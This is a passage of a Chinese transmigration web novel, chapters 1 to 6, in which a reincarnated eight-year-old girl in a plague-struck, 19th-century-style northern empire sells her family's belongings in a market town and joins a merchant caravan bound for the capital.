《我的钱怎么花》 1. 还活着 [] 任何时空和位面，都逃不过生存问题。。。 天边露出一丝晨曦，将明未明。初秋时节，南部地区还是炎炎烈日。帝国北方，此时的寒气已是彻骨逼人。 村落边缘地带，一座普通的石头小屋内，破旧木床上的小小身影缩了又缩，仿佛这样就能抵御无处不在的冷风。 显然，蜷缩抵御寒冷的努力失败了，爱洛又一次早早被冻醒，瞪着眼睛望着土泥混合着麦草制成的屋顶，内心叹了口气：“什么时候才能够摆脱这种冻饿交加，衣食无着的状态，唉。。。”挣扎了半天，终是爬了起来，准备开始今天的捡拾之旅。 。。。。。。 没错，今年只有8岁的爱洛依丝·加西亚·泰勒是一个有着五年“穿龄”的资深人士。五年前，林慧，某现代东方神秘国度的年轻职业女性，加班后一觉醒来，丝滑的成为了一个三岁的小女孩。 既没有金手指，系统和异能，也没能成为位面之子，豪门闺女，而是成为了以种田为生的泰勒夫妇的女儿。醒来的林慧，或者说，这个时代的爱洛依丝·加西亚·泰勒，懵逼之后就坦然接受了自己现状。 身为一个加班社畜，又不是过不下去了想删档重来的人，没有任何异常的睡一觉就成为了一个全新的人，怎么就触发了这种大招呢。再者说，哪怕被雷劈，总得有个路径吧。然而，一片空白。。。也不奢望再睡一觉就穿回去，就。。。 理解并接受呗。 幸亏心态好来的早，3岁的爱洛正处于脱离懵懂的阶段，万事不知，也没有被疼爱孩子的父母发现有什么不妥。 家中生活条件一般，但都能吃饱。以土豆和零星肉汤为主，不常有肉类，春夏可以吃到种植的分不出品种的青菜，山林里采集的野菜和蘑菇，冬季大多就是粗糙的黑面包。 这个名为萨波尔的乡村，四季分明，处于山区边缘地带，连绵的山林会出产各类山货，像松子，橡子，山野果等，小动物众多，大型野兽据说在更远的深山才有。在不大的平原地带上，人们会种植小麦和土豆，夹杂着一些豆类。 村民大都住在石砌的房子里。条件好的人家会有2-3个石屋和马棚仓库等围成的院子；条件一般的，像爱洛家，只有一座地处村子外围的小石屋；条件更差的，住在由茅草土坯围成的遮风棚子里。没有电和自来水，也没见到庄园城堡之类的建筑和拿着皮鞭骑着马的管家巡视。 村子周边都是农田，起伏的丘陵和杂树构成的林地，层层堆叠向上，直到天边云际。农夫们会使用简单的木质和铁质农具耕作，要不是明显不同的肤色和语言，爱洛还以为自己在假期回老家了。 。。。。。。 通常，小屁孩爱洛伊丝·加西亚·泰勒会在小石屋内睡到自然醒，基本都是快到中午。然后，在母亲琳达·泰勒的看护下，喝上一小杯白水，吃上一块水煮过的蘸盐土豆或者粗粮面包片后，就可以开启自己到处晃荡的探险生活了。 琳达一般不会去远处，都是在屋子周边忙活，顺便盯着爱洛，不许她溜到更远的地方去。父亲艾登·泰勒则是一早就下地去了。 傍晚，艾登顶着晚霞到家时，总会笑嘻嘻的带给她一小把颜色鲜艳的花，捡来的松塔，顺手摘的野果什么的。 偶尔，爱洛有一种错觉，好像自己还在那个拥有已逝父母久违疼爱和童年的乐趣的现代世界，并没有来到这个陌生的地方。。。 在这温饱勉强不愁的平淡小日子里，三头身的爱洛，除了吃睡，闲逛了解环境，就是跟在母亲琳达身后，成为现实版十万个为什么，以学习语言和生活常识。 毕竟，激烈竞争环境里成长起来的成年人，对于掌握更多的技能，总有着基于生存的需求和异乎寻常的热情。 在能够用类似英语的语言流畅的跟父母交流之后，爱洛以她前世理科硕士的分析能力，用了好几年的时间都没能弄明白她到底是处于蓝星位面的什么时代和地点。 通过琳达棉布长裙的衣着和全家都是大蓝眼睛的外貌判断，自己应该是莫名魂穿到了西方世界的某个乡村，其他的就完全没有头绪了。 要知道，即便是在网络发达的现代，很多欧洲美洲的小镇或者村庄都不一定有中文译名，更别说这个根本没见到任何现代工业品的地方呢，保不齐还是中世纪呢。。。 身处偏远的萨波尔村，年纪幼小的女孩，离家从未超过3公里。这个开局不是很妙啊。。。直到6岁那年的圣诞节，爱洛才第一次被父母带着，乘坐了至少半个小时马车去了镇上的教堂。 。。。。。。 被虔诚的琳达紧紧拉住小手的爱洛，下车后站在了在 “海莱格尔斯”镇一条东西走向的街道上。这里，最繁华的中心是尖顶教堂。教堂朝南，门口有着很长石阶。 爱洛跟着琳达和艾登沿着石阶向上，穿过高大的橡木门，进去就是一条不宽的甬道，两侧排着黑色的高背长椅。甬道尽头是一个铺着白色桌布的供台，上面摆满了冬季难得一见的鲜花。 顺着鲜花的方向，爱洛看见了一座两人高的彩色雕塑。谢天谢地，终于，第一次看到了熟悉的形象，爱洛内心即崩溃又雀跃：“万万没想到，会有通过神才能知道自己在哪里的一天。。。” 确定自己是真实的处在一个有着与蓝星相同宗教信仰的地域，爱洛松了口气。虽然遭遇了魂穿的事件，好歹脚踏实地，没有去到什么魔法世界，或者哪一本某江没看过的书中。 即便现在还不清楚具体时代，也比到未来的某个科幻世界两眼一抹黑强。二十多年学习的知识和人生经历，也不算白费，总归会有些用处的。。。吧。 完成自己第一次教堂之旅后，爱洛明显更活泼了，大冬天的也想跟着照看田地的艾登外出。 多看看外面的世界，总归是件好事。没有什么具体的目标，既不是想找到提高土地产出的方法，以帮助家庭提高生活质量。也不是想能够发现地标遗迹，以确定所处的国度。 只是想着接触更多的人和事。毕竟，没有幼儿园可上的孩子是孤独的，装在小孩子躯壳里的年轻女性灵魂更渴望通过努力，来掌握自己的人生轨迹。 就在爱洛以为自己已经融入了这个世界，她会这样慢慢长大，成为一个本土化的乡村小妞。成年后才能找机会离开这个偏僻乡村的时候，传说中的黑死病席卷了帝国。 是的，就是那个历史上让人谈其色变，导致欧洲总人口始终无法增长的瘟疫。这让爱洛确定，自己毫无疑问，身处欧亚大陆西端。< 2. 孤注一掷 [] 迫在眉睫的生存问题，让爱洛更加积极的寻找食物。原本不怎么跟大孩子一起行动的她，也不得不加入这样队伍，以试图走得更远，为即将到来的冬季做更多的准备。 得益于艾登夫妇养孩子上心，虽然最近一年多过的艰难，爱洛也明显比同龄孩子个子高，长得结实，所以大孩子们才愿意带着她。 当然，需要给领路的人一点“报酬”：当日收获一小部分。爱洛可以接受这样的“信息费”。 否则，就她自己对野外的认知能力，不仅现在每天的这点收获都得不到，更可能遇到危险。 这天，在山坡上忙活了大半个早上之后，在杂树林里一起努力，试图带走最后一波蘑菇的一群孩子里，一个13、4岁的红发姑娘高声问道：“爱洛，我明天要去镇上买东西，你要不要一起啊？” 说话的是母亲琳达的好友，安娜婶婶的女儿，莉丽丝。在采集小队里是比较照顾爱洛的。 “莉丽丝，去镇上买什么呢？我也没有钱。”爱洛小声回答。 其实，在前几天的盘点之后，爱洛就急切的想知道手中仅有的硬币能够买到什么。 但很明显，在这个经历过瘟疫打击的村庄里暴露自己的财富，不是什么明智之举。 所以，爱洛只是偷偷的通过平日里的聊天来打探。 “哦，可以先去看看需要什么，然后再想办法。反正有便车可搭。”莉丽丝冲爱洛眨了眨眼睛。 说的倒是没错，乐观的想，如果在镇上能找到什么来钱的活儿干，自己说不就有钱买粮食了？一个土生土长的乡下女孩，能说出“想办法”的话，倒是让爱洛有点刮目相看。 “是坐磨坊的马车吗？要付车费的吧？”爱洛想了想，问道。莉丽丝咧嘴一笑：“我家有一个远房表亲，跟着商队到了镇上，带信说脱不开身到村里来拜访，邀请我们去镇上见面呢。磨坊都停工这么久了，安德烈现在天天去镇上拉货。说好了，顺道用他的马车，去镇上见见亲戚，也能看看有没有什么活儿干。” “那我们也能去吗？” 其他一块儿找蘑菇的小孩七嘴八舌的问。 “当然可以了，但是只有两个空座了，你们还要谁想一起去镇上的？就是不保证当天一定能回来。” “那不行，我爸妈肯定不会让我一个人去镇上的。” “我得带着我弟弟，要不家里没人看孩子。” “可以挤一挤，我跟我阿嬷一块去吗？她一直想去教堂见见牧师的。我们这里出行实在是太不方便了。” “好了好了，想要去的明天一早到村口大树下等着吧。爱洛，如果你要确定去的话，就把位置给你留下，谁让我们俩关系好呢。”莉丽丝再次跟爱洛确认。 “额，好吧。那我去教堂看一下还能不能发黑面包，没准还能有手工带回来做。”爱洛想到所剩无几的土豆和空瘪的钱囊，点了点头。 带着半篮子蘑菇和山野菜，爱洛回到了自家的小石屋。 推开门，把篮子放到少了一块木板的桌子上，开始整理今天的收获。勉强填饱肚子后，开始寻找家里看起来可能值钱的物品，准备带着去镇上换钱。 屋子很小，靠墙立着一只掉漆的五屉柜，爱洛把抽屉一个一个拿出来，从里到外的翻看。 琳达和艾登留在柜子里的衬衣长裙，外衣长裤，都是重要日子才会穿的。件数不多，质量普通，多少都有磨损，是浆洗后才收起来的。爱洛甚至还能记得，琳达打水清洗，上浆，熨烫的过程。 除了正穿着的灰色长袖旧裙和深咖色围裙之外，爱洛还有两条棉布长裙，一条浅棕色，一条褐黄，袖口和裙边都已经洗的微微发白起毛。 这还是爱洛去镇上的那个圣诞前，琳达改了自己的裙子做的。当时琳达还说，爱洛一天天大了，需要有出门的衣服，以后每年圣诞都做新衣服。 时间过的太快了，当时专门做大了裙子现在已经短到露出脚踝。有一件冬季的半长外套，摸起来还算厚实。黝蓝的颜色，看得出是用一件陈旧的男士大衣重新裁剪来的。再加上两条衬裙和脚上的一双已经挤脚的横带布鞋，就是爱洛的全部衣物了。 床下有一个盒子，里面放着两双成人鞋子，爱洛能认出是艾登和琳达外出时才会穿的皮鞋，虽然表皮都已经有点磨坏了，但打理的很干净。 折腾了半天，跟之前翻找的结果一样，爱洛并没发现什么密匣机关，宝石首饰。能够肯定，这是个表里如一的乡村赤贫家庭。 其他的零零碎碎，烛台马灯，铁锅铁铲。日用的物品不少，并没有什么值钱的玩意儿。目前看来，那十几枚硬币，是爱洛仅有的财富了。 “所以，无论如何，不能再苟了，必须去镇上。”爱洛无奈的对自己说“这是架空版的走出大山么。。。” “无论身处何地，脱贫都是有待实现的梦想。”睡前，爱洛自嘲的宽解自己。 心里有事，睡得并不踏实。一大早。爱洛就醒了。既然睡不着，又怕睡过头。 干脆起来，用桶里的凉水洗了脸，漱了口，把乱七八糟的的半长头发编成两根长辫子，再用仅有的两根发绳回折扎成双层短辫。 换上平日里穿的灰色裙子，套上鞋，爱洛打开抽屉，把泰勒夫妇的衣服放在床上，再把床底的两双皮鞋拿出来，用床单打成一个包袱。 然后，再把自己的衣服叠在一起，拆下家里仅有的那块洗的半透的窗帘，打成第二个更小的包袱。 接着，爱洛把家里看上去能用且带走不易碎的生活物品，不多的土豆野菜干面包，零零碎碎的十来样，装到了一个麻布袋子里。 环顾了一下显得空旷的小屋，爱洛下定决心：“必须孤注一掷了。虽然莉丽丝说的是只是去镇上看看，但离开这里的机会很可能只有这一次。不管是做女仆，还是做乞丐，总好过在这个冬天冻饿毙命于偏远乡村。那样的话，也太给魂穿女丢脸了。哪怕死于下一张地图，也算是真的努力了。证明自己没躺平。绝不死于新手村是我最后的坚持了。” 爱洛把手里的钱币分成两份，一份连夜缝在裙子内侧的暗袋里，另一份塞进穿在身上的外套内袋，还用针线缝的只留了一个硬币大小的出口。 为了避免发出声音，爱洛甚至先用自己最喜欢的波点发带裹了硬币才放进口袋。拎着大小包袱出来的时候，天还没亮。关好门，用绳子把门扣绑 3. 钱有点重要 [] “你，你好。”莉丽丝的父亲尼克·波比勒搓了搓手，冲着中年女人轻声说道。 “入住还是吃饭？”女人打了个呵欠，半睁着眼睛问。 “我找迪尔梅德·史密斯先生。他是一位山货商，三、四天前到的。” “哦，知道了。史密斯先生留过消息。经历过黑死病，还能见到远方的亲人，你们可真是太幸运了。” 中年女人明显精神了不少，话也多起来。 “是的是的，真是太不容易了。”尼克拘束的笑了笑，问道：“能帮忙传个信，告诉他一声么？” “史密斯先生一大早就出门了，不知道什么时候回来。不过，他已经给你们安排好了，后院还有一个空房间，你们去那里等他，已经付过钱了。” 中年女人忽的热情起来，说：“你们一大早出门，都还没吃饭吧？尝尝我们店里的肉饼和蘑菇汤怎么样，饼厚汤浓，又便宜又好吃。” “不，不用了。我们带了吃的，谢谢。我们想先去安顿一下，可以吗？”尼克回道。 “进门直走，穿过楼梯下的门，院子右边，靠近马棚的那个房间就是了，想喝水自己去水井打。” 女人的声音明显低了下去，没做成生意，有点失望。不过，交代的还算清楚，也提供了方便。 “看起来这位史密斯先生是个大客户，不然，老板娘也不会这么好说话。”爱洛转着脑袋，边看边想着。 穿过门厅，进入旅馆的内部。里面是“井”字的构造，四周的房间围成一个不大不小的空间。 大厅的一侧没有内墙，用原色石柱支撑。里面摆着四张桌子和几把椅子，看起来是个小餐厅。 地上的红砖有些裂痕，碎花墙纸也已经褪色。正对着大门的楼梯散发着木头特有的味道。顶部投下的阳光照出了大厅空气中翻飞的微尘。 爱洛跟着莉丽丝一家，拿着行李从楼梯下的窄门出去，来到马棚边的房间门口。 推开一看，房间不大，只有一张铺着稻草的双人木床，一张木桌和两把椅子。 大家先把行李都堆在地上，各自找地方歇着，一早就空腹出门，这会儿已经正午，滴水未进，爱洛饿得头晕眼花。 看着挤得满满当当的屋子，爱洛抿了抿嘴，说：“尼克叔叔，安娜婶婶，我想先去镇子里转一转，看看能不能尽快把带的东西换点钱，也好买点吃的。” “那可不行，小爱洛，你怎么能一个人上街呢？等我去问问能不能借一下锅灶把我们带的土豆煮一煮，先凑合一顿。等你史密斯叔叔回来，看他怎么安排吧。” 快要见到自己的表弟了，安娜有点兴奋，已经不怎么在意吃的那点食物了。 “放心吧，安娜婶婶，我可是来过镇上的，认识路。” 为了能快点熟悉环境，爱洛硬着头皮吹牛：“换点钱，我们晚上也能吃饱点。”借了这么大的光，爱洛心里很有数，都不富裕，必须要在别的地方给出补偿。 “那你小心点，早些回来。”尼克谨慎地说。 “我想吃糖。”格蕾丝心直口快地说。 “好的。”爱洛一边回答，一边拿起自己的行李卷，出门顺着旅馆门口的碎石路，朝着镇子中心走去。 小镇的外围还是碎石路，周边也大都是与旅馆风格类似的二层小楼，灰突突的。越往镇子中心走，越能够感觉出不断增加的富足和安宁。 渐渐地，厚实的石板取代了碎石。顺着石板路向前，两侧的店铺二层小楼看起来越发的整洁和精致。 尖顶带沿的外型，有的还有卷边。天气虽然变冷了，白色的高窗外也还有未开败的鸾尾花和依然翠绿的柠檬树。 楼上铁艺的小阳台，摆着有些凋谢的花草，楼下的店铺都开着门，有的已经挂上了挡风的布帘。裁缝店，面包店，铁器店。。。哦，找到了一家鞋店，就是它了。 爱洛目标明确的进了鞋店。是的，她早就打算好了，先把两双看起来最值钱的皮鞋卖掉，再顺便打听哪里会收旧衣服和杂物。 鞋店并不只是卖新鞋，也会收售一些二手鞋。看着右手边的一堆旧鞋，爱洛心里有点打鼓。 头发花白，围着围裙的店主很温和，开口问道：“可爱的小姑娘，你是要买过冬的鞋子吗？” “不是的，先生。我需要把两双鞋子卖掉换钱吃饭。您这里收旧鞋吗？” 爱洛很直接地问。自己这身打扮，怎么看都不会是买得起这里亮闪闪新皮鞋的顾客吧。 “嗯，是的。不过，我要看看新旧程度才能决定。”店主沉吟了一下，回答道。 爱洛打开背着的行李，取出两双鞋递给店主。 细细地从里到外翻看后，店主说的很实在：“鞋子里边都还好，鞋底也没有问题。但表面有磨损，需要用皮子重新缝合，我只能出1个先令。” “是一双鞋1个先令吗？”爱洛有点天真地问。 “呵呵，是两双鞋的价格，孩子。”店主倒也没有生气。 “那，是不是少了点？再加点吧，先生。”爱洛试图谈一谈价格。 “我这里最好的新鞋售价是6个先令，二手鞋的售价是1-2个先令。要不是你的鞋保存的很好，也是从我店里买走的，无论如何也给不到这个价格。卖出去之前，我还要修补一番。”谈到价格，店主很坚持。 “那好吧。”爱洛倒也没有失望。目前，即使她不知道货币的购买力，也能明白，这个小镇看规模也只能容得下这一家鞋店。 出了门，还不知道卖给谁呢？就算碰运气，找到了需要两双鞋子的人，也未必能比这个价格高。 更何况，虽然在这个时代，像她这么大的孩子绝大多数都已经挑起生活的重担，需要外出谋生了。 但毕竟是个小孩，安全是要重点考虑的。与其为了多出来几个不确定的钱，倒不如在这里落袋为安。 拿到店主递过来的一枚硬币，爱洛翻来覆去看了半晌。心里盘算着：“原来，这就是1先令的钱。嗯，跟自己手上的6枚硬币一模一样。也就是说，目前我至少有7个先令，其余的9枚硬币要小一圈，那就是便士了。” 这个类似不列颠的国度，货币体系也是相似的。便士→先令，兑换比例暂时不确定，再往上更大面额的钱还没见到过。 把钱藏好，重新捆好行李，爱洛问道：“先生，您知道哪家店收旧衣服和杂物吗？” “嗯，隔壁的裁缝铺和街尾的杂货铺，你都可以去问问。”店主认真的回答。 “好的，非常感谢。祝您好运。”爱洛拿起行李，正准备出门时，店主又开口了，“教堂每天上午会发放黑面包和清水，今天已经来不及了，你明天可以早点去。” “额，”爱洛回头看了一眼店主了然的表情，内心忽然有点湿热：“多谢。” 跋涉在泥泞的道路上，人们偶尔也会在 4. 寻找出路 [] 旅馆门口，小格蕾丝正在无聊的转圈圈。爱洛把手上的黑面包掰了一块，递给她，说：“街上没见有卖糖的小贩，先吃这个吧。”格蕾丝欢呼一声，开心的接过去啃了起来。 走到后院，发现莉丽丝一家都在院子里。安娜在厨房门口的火堆上搭了一个锅，里面煮着土豆混合着鹰嘴豆的野菜汤。 爱洛笑着对她说： “安娜婶婶，我买了黑面包，正好配着汤吃。” “快去拿盘子，正要吃饭了。”安娜接过缺了一个角的黑面包，手里继续搅合着汤锅。 爱洛回到小屋里，扫了一眼，装着衣服的行李卷还立在墙角，没有打开过的痕迹。 麻布袋子的绳子已经解开，看起来，里面的土豆野菜已经在锅里了。 爱洛把另一块黑面包放进去，伸手从麻布袋子里拿出自己的木碗和勺子，转身出门，安娜已经在一人一勺的分汤了。 就着这土豆野菜汤和黑面包，爱洛吃了一顿七、八成饱的饭，下一餐还不知道在哪里，能吃一顿是一顿吧。 吃完饭，爱洛和安娜到井边洗碗，安娜问她：“你去镇上看的怎么样？” “安娜婶婶，我把父母留下的衣服卖掉了。虽然价格不高，但这几天在镇上买黑面包吃是足够的。”爱洛暗示道。 “你这孩子，出门在外换点钱自己收好。吃饭不用你操心，看在你史密斯叔叔的份上，我已经跟厨房说好了，用他们的柴火，不单收钱。。” “那就太好了，我一会儿再去一趟镇里，看看有没有收日用品的，把家里用不上的东西先换点钱。”爱洛趁机跟安娜要求。 “啊，也对，你先去看看。我们也有一些用不上的东西准备卖掉呢。”安娜不怎么在意地说。 洗完碗，拿着一堆东西跟安娜回到屋子里，莉丽丝跟格蕾丝已经累的趴在床上睡着了，尼克和莫里森吃完饭就不知道去哪儿了。 爱洛跟安娜打了声招呼，拎着自己轻了不少的麻布袋，再次回到镇子里。 走进松鼠杂货店，爱洛把袋子里的东西一股脑儿倒出来，比较值钱的马灯和一个缺角的金属烛台，最后做价7个先令，其余的盘子碗，好几个小铁铲什么的，一共才6个便士。 对比之下，爱洛发现，工业品和纺织品的价格都比较高，比如说毛呢外套，铸铁马灯和烛台。 手工制作的生活用品反而价格很低。看起来工业革命带来生产力水平刚起步，还没到大规模量产的程度，工艺先进，质量上乘，所以价格尚高。 传统的农业品和手工业品估计只有破产一条路，价格压得非常低。这和蓝星第一次工业革命后的情形非常相似。 看起来，离开乡村的选择倒是没有问题，没有大规模的战争，城市在工业化发展的时期是需要大量劳动力的。 在童工还合法的时代，找到一份糊口的工作想必是不难。这样一思考，爱洛就舒了一口气：“先跟着莉丽丝一家离开，能生存下去再计划下一步吧。” 拎着麻布袋，里面装着杂货店不收的木碗木勺小刀之类的东西，以及上午买的黑面包，爱洛这会儿有心情在镇子里仔细逛起来。 这是一个典型的哥特式建筑为主的小镇，以教堂为中心向东西延伸开去，两侧临街的店铺经营的产品没有重复的，可见镇子是真的不大，人口有限。南北走向的巷子明显要窄一些，站在路口望去都是住宅，并不见商铺。 路口有一间酒馆，门口立着酒瓶，白天半开着门，估计主要是在晚上营业。隔壁有一家叫“吉姆叔叔的厨房”的餐馆，想必自己消费不起，爱洛只能目不斜视的路过。 顺着台阶到了教堂门口，爱洛迟疑了一下，推开虚掩的木门，走了进去。 “你好，请问这里还发放免费的面包吗？”爱洛有点不好意思的向正在门厅整理物品的嬷嬷问到。 “哦，孩子，你来晚了，今天的面包已经发完了，明天早上来吧。”穿着长袍，戴着布头巾的嬷嬷直起腰，露出慈祥的微笑对爱洛说。 “啊，那请问有什么活计能让我干吗？”爱洛接着问。 嬷嬷上下打量了一下爱洛，说：“我们这里有一些纺织的活，需要会用钩针勾一些花边。孩子，你还太小了，家里的大人倒可以来试试。如果需要，来领面包就好了。” “好的。那这些花边是在镇上卖吗？我看裁缝店里并没有这些东西呢。”爱洛好奇的问道。 嬷嬷笑的眼睛眯了起来：“呵呵，你知道的还挺多。不是在镇上卖，这些东西是用在披肩或者礼服裙上的，我们这样的小镇很少有人需要，是要送到首府兰敦市的。”嬷嬷颇为自豪地表示。 “首府兰敦市？听起来好了不起，那是什么地方啊，远不远呢？”爱洛眨了眨眼睛，求知欲很强烈。 不常跟人这样聊天的嬷嬷一下子就有话说了：“首府兰敦啊，是帝国最大的城市。那里有无数的高级时装店和有钱人，所以需要手工花边做为衣服的装饰。我们海莱格尔斯镇的花边风格独特，可是很受欢迎的，已经往兰敦市卖了很多年了。” “听起来很厉害啊，那您一定去过那里了，快给我讲讲吧。”爱洛看嬷嬷很有谈兴，颇为识趣的接话。 “我还是好些年之前去的呢。城市大的没边儿，满街都是人和马车，新奇的东西看不过来呢。” “您是去走亲戚吗？” “嗯，跟着我们送货的马车，走了好几天呢。那里的冬天可比我们这里暖和多了。” “哇，真好，真的想不出来是什么样子。”爱洛努力让自己像个无知的乡下小孩一样夸奖道。 “首府位于帝国的中部，我们这里是帝国北方，接近极地，要格外冷些。不过，那里虽然靠海暖和，但空气可没有我们这里的好。到处是黑烟囱，我待了一个礼拜，头都疼了。”嬷嬷说起来，竟有些愤愤不平：“什么都贵，可不是个适合我们这样的乡下人的地方。” 首府么，人多不宜居，或者说，宜贵族富人居。听着就是蓝星的伦敦么，各方面都对得上。 就去这里了，想着自己前世还去旅行过，风土人情也算是略懂，爱洛莫名的对未来生活有了信心。 “好的，嬷嬷，那我明天再来。”爱洛看着大有打开话题的嬷嬷，不失时机的提出告辞。 “可爱的孩子，你明天可以早点来，还会有一片火腿，我给你留着。”要不是跟嬷嬷聊的高兴，爱洛从来都不知道还有火腿这回事。可见，跟人打交道是一门很深的学问。。。 回去的路上，爱洛在一处街角空地看见了安德烈叔叔的马车，他正满头大汗的在卸货。这附近聚集了好些马车，有点像是个露天车站。 除了货运马车，爱洛还看见一些明显是要跑远途的载客马车，高高的车厢两边都有门，车顶上堆放着行李，马匹都已经套好了，不停地打着响鼻等着出发。 东张西望的回到旅馆，天色已经不早了。一进门，爱洛就看见大厅里站着好几个人，一个红发高个的壮硕男子正在说话，周围有几张熟悉的面孔，波比勒家的人都在。 爱洛走到尼克叔叔背后，听见一个干巴巴的的声音正在介绍行程：“。。。收好 5. 怎么选 [] 天蒙蒙亮，院子里就有了声音，早起的厨娘要为远行的客人准备早饭。 爱洛被吵醒后，一骨碌爬起来，用冷水洗了脸，漱了口，把半长的辫子编成一股扎好。钱都在身上裹得紧紧的，卷好的行李藏在柴火堆下边，用麦秆盖住。 跟厨娘允诺自己去教堂领的面包会分一份给她，让她帮忙看着行李。厨娘跟她保证，除了烧火的她会来取柴火，没人会来这里。 大厅里站了几个等待出发的人，小餐厅也坐满了人，点餐的，招呼同伴的，逐渐嘈杂起来。 顺着旅馆大门轻巧地溜出去，爱洛呼吸着清晨凛冽的空气，甩了甩辫子，心头的阴霾散去了，竟然还有点高兴：“嗯，没有什么是面包不能解决的，如果有，那就再加一片火腿。” 想着要早点去领到餐食，爱洛的脚步更快了。一路小跑着到了教堂门口，前面只有零星的几个人，很快就轮到了爱洛。 负责发餐的嬷嬷果然是昨天的熟人：“好孩子，你来了，快拿面包吧”，给爱洛拿了一块面包，明显比自己买的黑面包松软不少，还顺手加了两片火腿递给她。 爱洛的笑容一下子放大了：“哈哈，早起的鸟儿有虫吃。” 看到别人的面包都只有一片火腿，爱洛赶紧用小手捂着，快步走到旁边放水桶的位置。 领免费面包的大多都是一家人，领完后都要急急忙忙回家，所以这么早，教堂提供的清水还没什么人需要。 先拿起木勺接水涮了一下，再赶紧喝了好几口润嗓子，从昨天出门到现在，因为没有装水的器具，爱洛都没怎么喝到水。 喝完水，把面包掰了一半留给厨娘，剩下的再撕开一部分，把两片火腿塞进去，张开嘴先咬一大口。 小麦的香味夹杂着火腿的肉味，爆开一种复合的幸福感。真的已经很久，很久没有吃到肉了，久到爱洛都快忘记这该是什么味道了。 眯着眼睛，爱洛一口气吃完，虽然只有半块面包，但个头很大，一顿吃完是足够饱腹了。歇了一歇，爱洛又喝了两勺水，胃部一下满满的，真是个愉快的早晨！ 看嬷嬷还在忙，爱洛也不好打扰，就绕着教堂慢慢地转悠起来。转过墙角，发现在侧门口停着好几辆马车，车上高高的堆着包裹，用发黄的布袋装着，看起来软软的。 趁着没人注意，爱洛伸手按了一下，嗯，是纺织物没错了。这样说来，教堂发订单给镇子周边的妇女，之后统一送到兰敦，是接的外包生意啊。 也是，要不然怎么会有能力发放免费面包，甚至还有火腿。大家都吃不上饭了，哪有余力捐钱呢。可能，这就是教堂在这样偏僻的乡村，为自己找到的生存之道吧。 非常好，说明这里的商品经济发展的不错，爱洛对自己未来的更有信心了。 等到领餐的人渐渐散去，爱洛才走到正在收拾物品的嬷嬷身边，笑到：“嬷嬷，有什么我能帮你的？” “呵呵，你跟我一起去库房吧，今天把这个月的花边都运走了，要仔细整理一下。”嬷嬷一点儿也没拒绝。看来，主动来干活的人不少，爱洛也算是歪打正着了。 一边干活，爱洛一边跟嬷嬷套近乎，才知道，教堂送到兰敦的货品每月都有，通常是跟着镇上的商队一起，有时候也会和外来的商行合作。如果他们晚走一天，就能跟史密斯的商队同行了。 目的地兰敦市位于帝国的中南部，在兰吉利海峡的西岸，海峡对岸就是相爱相杀多年的法尔西国。 帝国从北方山地到南方海岸，沿途有大大小小的城市和小镇，主要道路只有一条，不止能走马车，据说，在几座大城市之间还通了铁路。 技术进步与几十年的和平造就了当下高速发展的经济现状。也因此，偏远的北部小镇也能加入到到帝国的产业链之中，让艰难求生的海莱格尔斯镇的人们有一丝喘息的机会。 爱洛悄咪咪的打探着路线和城市，除了叫法不同外，大部分都跟前世欧洲地理位置相似。对比一下，就发现这个平行世界的发展程度和技术水平跟蓝星19世纪初的欧洲是基本一致的。 爱聊天的嬷嬷并没有询问爱洛的情况，想来她这样的小孩在镇上很多，她只是在能照顾的时候多照顾一点。 有活干，时间就过的飞快。爱洛又打扫了一下库房所在的院子，就已近中午，早上吃的面包火腿也消化的差不多了。 手里的活理完之后，嬷嬷带着爱洛到了厨房。厨房里有一张很大的备餐台，放得满满当当，散发着勾人的香气。“这是给工作人员准备的午餐，你今天忙了一早上，也有一份。”嬷嬷温和的说。 接过白面包，奶酪，配着的碎肉土豆汤，还有一小块苹果，爱洛并没有推辞，找了个角落的小凳子，埋头吃起来。 一天之内，吃了两顿带肉的餐食，爱洛觉得自己都想待着这里不走了，当然，也只是想想而已。 吃完午餐，爱洛看嬷嬷有点疲惫的神色，想来起个大早忙了半天对她来说也不是一件轻松的活，就轻轻的说：“嬷嬷，我明天就要跟着邻居去兰敦了，这两天谢谢你了，祝你一切都好。” “孩子，出门讨生活可不容易，希望你能顺利。要是实在没办法了，就还回来。”嬷嬷也没有多说什么，只是又拿了两块面包塞给爱洛。 “嗯。。。” 把嬷嬷塞给自己的面包放进带着身上的麻布口袋里，计算了一下，加上昨天没吃的黑面包，自己累计已经有了2块白面包，1块黑面包，省着吃的话，足够自己吃三天的。 看情形，波比勒一家会跟着史密斯一起吃饭，这样自己就只需要再买三块面包，准备6天的食物就差不多了。 往南边走，天气要更暖和一些，时间长了食物也容易变质，不好带。路上再凑合1-2天就能到目的地。 首府市，吃的东西应该更多吧，这两年一直勉强活着的爱洛想到这里，差点流口水了。 离开教堂，爱洛去杂货店挑挑减减，用10便士买了一个陈旧但结实的水囊，做好远途旅行的准备。 看到了披肩和帽子，问了价格，决定还是用之前的床单来代替。 路过面包店时，爱洛又花了2便士买了2块黑面包和1块白面包，还单独花1便士配了一块奶酪。毕竟，干吃面包真的很难下咽。。。 ······ 旅馆里，史密斯和几个同伴正在小餐厅坐着，桌子上摆着啤酒，干肉条什么的，谈的热火朝天，倒是没看见尼克和莫里森。 爱洛顺着墙边来到柴火堆后侧，看了看自己做的记号，并没有动过的痕迹。就掏出藏在里面的行李，把手上的袋子塞进去包好。之后，拎 6. 听到了 [] 第二天一早，天还没亮，爱洛就起身，草草吃了几口面包。拿好自己的行李，带着灌满的水囊和小半袋干面包，早早在大厅里等着了。 虽然但是，钱都付了，可别把自己拉下了。 好在没出什么岔子，爱洛很顺利的等来了四辆载满山货的马车。每辆马车都有两匹挽马拉货。前部的座位有两排，第一排是车夫的位置，第二排坐的则是商队的人。 车上堆着高高的货包，里面是山核桃，松子之类的坚果，还有一部分小动物皮毛。 载货马车的后底部有个突出的像台阶一样的架子，是装卸时使用的。工人把轻巧的货物装在尾部，堆半高，人坐在上面，正好可把脚踩在架子上，是天然的载客座位。 爱洛和莉丽丝就坐在这里。虽然灰尘大，但是不用顶着寒风，还能靠在货物上休息，很是不错。波比勒家的人分散坐在好几辆车的这个位置，既不碍事，也不显眼。 史密斯上了侧前方的第一辆马车，爱洛看见他把手里的帽子戴好，踢了踢前面的椅子脚。车夫扬鞭，这个小商队就带着满满的货物和人们的希望，在黎明前的黑暗中起程了。 一路上摇摇晃晃的，爱洛有点晕车。裹着御寒挡尘的床单，把身下货包上的绳子抓的紧紧的，生怕一个颠簸，自己掉下车。 尽管很困，但也不敢睡实。迷迷糊糊中，不知道什么时候，马车离开了小镇，上了砾石和黄土筑成的大路。 